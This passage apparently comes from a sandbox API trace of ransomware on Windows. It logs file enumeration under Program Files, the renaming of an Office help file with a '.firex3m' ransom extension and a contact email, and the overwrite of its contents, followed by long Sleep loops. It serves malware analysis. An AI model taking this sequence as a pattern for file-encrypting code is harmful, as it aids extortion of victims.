cFileName="INDUST.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDUST~2.FIR")) returned 0x6d53c0 [0263.451] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0263.452] Sleep (dwMilliseconds=0x1) [0264.594] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x67 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0264.594] GetProcessHeap () returned 0x630000 [0264.594] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c2c) returned 0x6fe3bb0 [0264.594] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.596] Sleep (dwMilliseconds=0x1) [0264.611] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-16.png", len=0x75 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-16.png") returned 1 [0264.611] GetProcessHeap () returned 0x630000 [0264.611] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c84) returned 0x6fe3bb0 [0264.611] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.615] Sleep (dwMilliseconds=0x1) [0264.641] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Square310x310Logo.scale-100.png", len=0x7d | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Square310x310Logo.scale-100.png") returned 1 [0264.641] GetProcessHeap () returned 0x630000 [0264.641] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d54) returned 0x6fe3bb0 [0264.641] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Square310x310Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\square310x310logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.642] Sleep (dwMilliseconds=0x1) [0264.663] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x6c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0264.663] GetProcessHeap () returned 0x630000 [0264.663] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d18) returned 0x6fe3bb0 [0264.663] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.667] Sleep (dwMilliseconds=0x1) [0264.671] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-54.png", len=0x75 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-54.png") returned 1 [0264.671] GetProcessHeap () returned 0x630000 [0264.671] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cfc) returned 0x6fe3bb0 [0264.671] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-54.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail2.targetsize-54.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.685] Sleep (dwMilliseconds=0x1) [0266.311] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxT", len=0x5d | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxT") returned 1 [0266.311] GetProcessHeap () returned 0x630000 [0266.311] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb4) returned 0x6fe3bb0 [0266.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hx.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0268.499] CloseHandle (hObject=0x700) returned 1 [0268.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0268.499] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hx.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hx.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0268.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0268.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24707df7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24707df7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2472e07e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x650040, dwReserved1=0x75006c, cFileName="Hx.HxT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HXHXTI~1.FIR")) returned 0x6d4f00 [0268.502] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0268.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hx.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0268.502] GetProcessHeap () returned 0x630000 [0268.502] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc1) returned 0x6d5d40 [0268.502] GetProcessHeap () returned 0x630000 [0268.502] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc1) returned 0x6d6560 [0268.502] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.502] ReadFile (in: hFile=0x700, lpBuffer=0x6d5d40, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d5d40*, lpNumberOfBytesRead=0x3a7ff0c*=0xa0, lpOverlapped=0x0) returned 1 [0268.505] GetProcessHeap () returned 0x630000 [0268.505] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0268.505] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.505] WriteFile (in: hFile=0x700, lpBuffer=0x6d6560*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6560*, lpNumberOfBytesWritten=0x3a7ff0c*=0xa0, lpOverlapped=0x0) returned 1 [0268.505] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.505] WriteFile (in: hFile=0x700, lpBuffer=0x6d65ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d65ff*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0268.506] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.506] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0268.506] CloseHandle (hObject=0x700) returned 1 [0268.506] GetProcessHeap () returned 0x630000 [0268.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6560 | out: hHeap=0x630000) returned 1 [0268.506] GetProcessHeap () returned 0x630000 [0268.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d5d40 | out: hHeap=0x630000) returned 1 [0268.506] GetProcessHeap () returned 0x630000 [0268.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0268.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0268.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24707df7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24707df7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x65fd4439, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x3a7fd20, dwReserved1=0x6d5d40, cFileName="Hx.HxT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HXHXTI~1.FIR")) returned 0x6d5380 [0268.506] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0268.506] Sleep (dwMilliseconds=0x1) [0270.732] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-200_contrast-black.png", len=0x9f | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-200_contrast-black.png") returned 1 [0270.732] GetProcessHeap () returned 0x630000 [0270.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb8) returned 0x6fe3bb0 [0270.732] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackagewidetile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.733] Sleep (dwMilliseconds=0x1) [0272.905] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated.png", len=0x88 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated.png") returned 1 [0272.906] GetProcessHeap () returned 0x630000 [0272.906] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e28) returned 0x6fe3bb0 [0272.906] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-96_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.907] Sleep (dwMilliseconds=0x1) [0274.791] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-30_contrast-white.png", len=0xa2 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-30_contrast-white.png") returned 1 [0274.791] GetProcessHeap () returned 0x630000 [0274.791] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bdc) returned 0x6fe3bb0 [0274.791] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-30_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-30_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.796] Sleep (dwMilliseconds=0x1) Thread: id = 46 os_tid = 0x788 [0067.422] Sleep (dwMilliseconds=0x1) [0067.542] Sleep (dwMilliseconds=0x1) [0067.711] Sleep (dwMilliseconds=0x1) [0067.828] Sleep (dwMilliseconds=0x1) [0067.935] Sleep (dwMilliseconds=0x1) [0068.043] Sleep (dwMilliseconds=0x1) [0068.147] Sleep (dwMilliseconds=0x1) [0068.282] Sleep (dwMilliseconds=0x1) [0068.394] Sleep (dwMilliseconds=0x1) [0068.492] Sleep (dwMilliseconds=0x1) [0068.546] Sleep (dwMilliseconds=0x1) [0068.697] Sleep (dwMilliseconds=0x1) [0068.747] Sleep (dwMilliseconds=0x1) [0068.792] Sleep (dwMilliseconds=0x1) [0068.843] Sleep (dwMilliseconds=0x1) [0068.883] Sleep (dwMilliseconds=0x1) [0068.935] Sleep (dwMilliseconds=0x1) [0068.975] Sleep (dwMilliseconds=0x1) [0069.048] Sleep (dwMilliseconds=0x1) [0069.104] Sleep (dwMilliseconds=0x1) [0069.159] Sleep (dwMilliseconds=0x1) [0069.197] Sleep (dwMilliseconds=0x1) [0069.249] Sleep (dwMilliseconds=0x1) [0069.292] Sleep (dwMilliseconds=0x1) [0069.378] Sleep (dwMilliseconds=0x1) [0069.434] Sleep (dwMilliseconds=0x1) [0069.483] Sleep (dwMilliseconds=0x1) [0069.522] Sleep (dwMilliseconds=0x1) [0069.689] Sleep (dwMilliseconds=0x1) [0069.919] Sleep (dwMilliseconds=0x1) [0070.147] Sleep (dwMilliseconds=0x1) [0070.262] Sleep (dwMilliseconds=0x1) [0070.382] Sleep (dwMilliseconds=0x1) [0070.534] Sleep (dwMilliseconds=0x1) [0070.869] Sleep (dwMilliseconds=0x1) [0071.569] Sleep (dwMilliseconds=0x1) [0071.942] Sleep (dwMilliseconds=0x1) [0072.429] Sleep (dwMilliseconds=0x1) [0072.607] Sleep (dwMilliseconds=0x1) [0072.799] Sleep (dwMilliseconds=0x1) [0072.907] Sleep (dwMilliseconds=0x1) [0073.098] Sleep (dwMilliseconds=0x1) [0073.608] Sleep (dwMilliseconds=0x1) [0073.770] Sleep (dwMilliseconds=0x1) [0073.977] Sleep (dwMilliseconds=0x1) [0074.056] Sleep (dwMilliseconds=0x1) [0074.182] Sleep (dwMilliseconds=0x1) [0074.380] Sleep (dwMilliseconds=0x1) [0074.672] Sleep (dwMilliseconds=0x1) [0074.771] Sleep (dwMilliseconds=0x1) [0074.849] Sleep (dwMilliseconds=0x1) [0074.907] Sleep (dwMilliseconds=0x1) [0074.998] Sleep (dwMilliseconds=0x1) [0075.063] Sleep (dwMilliseconds=0x1) [0075.103] Sleep (dwMilliseconds=0x1) [0075.160] Sleep (dwMilliseconds=0x1) [0075.220] Sleep (dwMilliseconds=0x1) [0075.260] Sleep (dwMilliseconds=0x1) [0075.308] Sleep (dwMilliseconds=0x1) [0075.358] Sleep (dwMilliseconds=0x1) [0075.424] Sleep (dwMilliseconds=0x1) [0075.515] Sleep (dwMilliseconds=0x1) [0075.565] Sleep (dwMilliseconds=0x1) [0075.614] Sleep (dwMilliseconds=0x1) [0075.696] Sleep (dwMilliseconds=0x1) [0075.746] Sleep (dwMilliseconds=0x1) [0075.791] Sleep (dwMilliseconds=0x1) [0075.832] Sleep (dwMilliseconds=0x1) [0076.047] Sleep (dwMilliseconds=0x1) [0076.060] Sleep (dwMilliseconds=0x1) [0076.085] Sleep (dwMilliseconds=0x1) [0076.104] Sleep (dwMilliseconds=0x1) [0076.189] Sleep (dwMilliseconds=0x1) [0076.389] Sleep (dwMilliseconds=0x1) [0076.532] Sleep (dwMilliseconds=0x1) [0076.669] Sleep (dwMilliseconds=0x1) [0076.772] Sleep (dwMilliseconds=0x1) [0076.807] Sleep (dwMilliseconds=0x1) [0076.844] Sleep (dwMilliseconds=0x1) [0076.869] Sleep (dwMilliseconds=0x1) [0076.922] Sleep (dwMilliseconds=0x1) [0076.983] Sleep (dwMilliseconds=0x1) [0077.070] Sleep (dwMilliseconds=0x1) [0077.153] Sleep (dwMilliseconds=0x1) [0077.224] Sleep (dwMilliseconds=0x1) [0077.286] Sleep (dwMilliseconds=0x1) [0077.362] Sleep (dwMilliseconds=0x1) [0077.410] Sleep (dwMilliseconds=0x1) [0077.523] Sleep (dwMilliseconds=0x1) [0077.595] Sleep (dwMilliseconds=0x1) [0077.651] Sleep (dwMilliseconds=0x1) [0077.686] Sleep (dwMilliseconds=0x1) [0077.740] Sleep (dwMilliseconds=0x1) [0077.780] Sleep (dwMilliseconds=0x1) [0077.835] Sleep (dwMilliseconds=0x1) [0077.854] Sleep (dwMilliseconds=0x1) [0077.908] Sleep (dwMilliseconds=0x1) [0077.963] Sleep (dwMilliseconds=0x1) [0077.978] Sleep (dwMilliseconds=0x1) [0078.000] Sleep (dwMilliseconds=0x1) [0078.087] Sleep (dwMilliseconds=0x1) [0078.116] Sleep (dwMilliseconds=0x1) [0078.135] Sleep (dwMilliseconds=0x1) [0078.192] Sleep (dwMilliseconds=0x1) [0078.224] Sleep (dwMilliseconds=0x1) [0078.237] Sleep (dwMilliseconds=0x1) [0078.254] Sleep (dwMilliseconds=0x1) [0078.270] Sleep (dwMilliseconds=0x1) [0078.287] Sleep (dwMilliseconds=0x1) [0078.312] Sleep (dwMilliseconds=0x1) [0078.361] Sleep (dwMilliseconds=0x1) [0078.378] Sleep (dwMilliseconds=0x1) [0078.514] Sleep (dwMilliseconds=0x1) [0078.535] Sleep (dwMilliseconds=0x1) [0078.558] Sleep (dwMilliseconds=0x1) [0078.571] Sleep (dwMilliseconds=0x1) [0078.608] Sleep (dwMilliseconds=0x1) [0078.629] Sleep (dwMilliseconds=0x1) [0078.643] Sleep (dwMilliseconds=0x1) [0078.661] Sleep (dwMilliseconds=0x1) [0078.674] Sleep (dwMilliseconds=0x1) [0078.706] Sleep (dwMilliseconds=0x1) [0078.722] Sleep (dwMilliseconds=0x1) [0078.737] Sleep (dwMilliseconds=0x1) [0078.755] Sleep (dwMilliseconds=0x1) [0078.768] Sleep (dwMilliseconds=0x1) [0078.787] Sleep (dwMilliseconds=0x1) [0078.836] Sleep (dwMilliseconds=0x1) [0078.887] Sleep (dwMilliseconds=0x1) [0078.931] Sleep (dwMilliseconds=0x1) [0078.942] Sleep (dwMilliseconds=0x1) [0078.963] Sleep (dwMilliseconds=0x1) [0078.975] Sleep (dwMilliseconds=0x1) [0079.007] Sleep (dwMilliseconds=0x1) [0079.027] Sleep (dwMilliseconds=0x1) [0079.035] Sleep (dwMilliseconds=0x1) [0079.047] Sleep (dwMilliseconds=0x1) [0079.084] Sleep (dwMilliseconds=0x1) [0079.096] Sleep (dwMilliseconds=0x1) [0079.119] Sleep (dwMilliseconds=0x1) [0079.127] Sleep (dwMilliseconds=0x1) [0079.162] Sleep (dwMilliseconds=0x1) [0079.222] Sleep (dwMilliseconds=0x1) [0079.252] Sleep (dwMilliseconds=0x1) [0079.267] Sleep (dwMilliseconds=0x1) [0079.289] Sleep (dwMilliseconds=0x1) [0079.298] Sleep (dwMilliseconds=0x1) [0079.317] Sleep (dwMilliseconds=0x1) [0079.328] Sleep (dwMilliseconds=0x1) [0079.350] Sleep (dwMilliseconds=0x1) [0079.359] Sleep (dwMilliseconds=0x1) [0079.390] Sleep (dwMilliseconds=0x1) [0079.416] Sleep (dwMilliseconds=0x1) [0079.423] Sleep (dwMilliseconds=0x1) [0079.447] Sleep (dwMilliseconds=0x1) [0079.515] Sleep (dwMilliseconds=0x1) [0079.542] Sleep (dwMilliseconds=0x1) [0079.546] Sleep (dwMilliseconds=0x1) [0079.600] Sleep (dwMilliseconds=0x1) [0079.611] Sleep (dwMilliseconds=0x1) [0079.629] Sleep (dwMilliseconds=0x1) [0079.642] Sleep (dwMilliseconds=0x1) [0079.660] Sleep (dwMilliseconds=0x1) [0079.676] Sleep (dwMilliseconds=0x1) [0079.695] Sleep (dwMilliseconds=0x1) [0079.729] Sleep (dwMilliseconds=0x1) [0079.745] Sleep (dwMilliseconds=0x1) [0079.799] Sleep (dwMilliseconds=0x1) [0079.817] Sleep (dwMilliseconds=0x1) [0079.830] Sleep (dwMilliseconds=0x1) [0079.891] Sleep (dwMilliseconds=0x1) [0079.914] Sleep (dwMilliseconds=0x1) [0079.933] Sleep (dwMilliseconds=0x1) [0079.938] Sleep (dwMilliseconds=0x1) [0079.987] Sleep (dwMilliseconds=0x1) [0080.047] Sleep (dwMilliseconds=0x1) [0080.071] Sleep (dwMilliseconds=0x1) [0080.084] Sleep (dwMilliseconds=0x1) [0080.100] Sleep (dwMilliseconds=0x1) [0080.136] Sleep (dwMilliseconds=0x1) [0080.161] Sleep (dwMilliseconds=0x1) [0080.172] Sleep (dwMilliseconds=0x1) [0080.238] Sleep (dwMilliseconds=0x1) [0080.260] Sleep (dwMilliseconds=0x1) [0080.269] Sleep (dwMilliseconds=0x1) [0080.285] Sleep (dwMilliseconds=0x1) [0080.302] Sleep (dwMilliseconds=0x1) [0080.315] Sleep (dwMilliseconds=0x1) [0080.343] Sleep (dwMilliseconds=0x1) [0080.361] Sleep (dwMilliseconds=0x1) [0080.385] Sleep (dwMilliseconds=0x1) [0080.392] Sleep (dwMilliseconds=0x1) [0080.410] Sleep (dwMilliseconds=0x1) [0080.426] Sleep (dwMilliseconds=0x1) [0080.442] Sleep (dwMilliseconds=0x1) [0080.502] Sleep (dwMilliseconds=0x1) [0080.527] Sleep (dwMilliseconds=0x1) [0080.543] Sleep (dwMilliseconds=0x1) [0080.567] Sleep (dwMilliseconds=0x1) [0080.582] Sleep (dwMilliseconds=0x1) [0080.606] Sleep (dwMilliseconds=0x1) [0080.661] Sleep (dwMilliseconds=0x1) [0080.672] Sleep (dwMilliseconds=0x1) [0080.704] Sleep (dwMilliseconds=0x1) [0080.722] Sleep (dwMilliseconds=0x1) [0080.766] Sleep (dwMilliseconds=0x1) [0080.787] Sleep (dwMilliseconds=0x1) [0080.805] Sleep (dwMilliseconds=0x1) [0080.819] Sleep (dwMilliseconds=0x1) [0080.836] Sleep (dwMilliseconds=0x1) [0080.846] Sleep (dwMilliseconds=0x1) [0080.889] Sleep (dwMilliseconds=0x1) [0080.917] Sleep (dwMilliseconds=0x1) [0080.923] Sleep (dwMilliseconds=0x1) [0080.942] Sleep (dwMilliseconds=0x1) [0080.957] Sleep (dwMilliseconds=0x1) [0080.978] Sleep (dwMilliseconds=0x1) [0080.990] Sleep (dwMilliseconds=0x1) [0081.004] Sleep (dwMilliseconds=0x1) [0081.018] Sleep (dwMilliseconds=0x1) [0081.037] Sleep (dwMilliseconds=0x1) [0081.049] Sleep (dwMilliseconds=0x1) [0081.286] Sleep (dwMilliseconds=0x1) [0081.439] Sleep (dwMilliseconds=0x1) [0081.525] Sleep (dwMilliseconds=0x1) [0081.543] Sleep (dwMilliseconds=0x1) [0081.565] Sleep (dwMilliseconds=0x1) [0081.581] Sleep (dwMilliseconds=0x1) [0081.600] Sleep (dwMilliseconds=0x1) [0081.613] Sleep (dwMilliseconds=0x1) [0081.629] Sleep (dwMilliseconds=0x1) [0081.664] Sleep (dwMilliseconds=0x1) [0081.683] Sleep (dwMilliseconds=0x1) [0081.692] Sleep (dwMilliseconds=0x1) [0081.709] Sleep (dwMilliseconds=0x1) [0081.757] Sleep (dwMilliseconds=0x1) [0081.776] Sleep (dwMilliseconds=0x1) [0081.789] 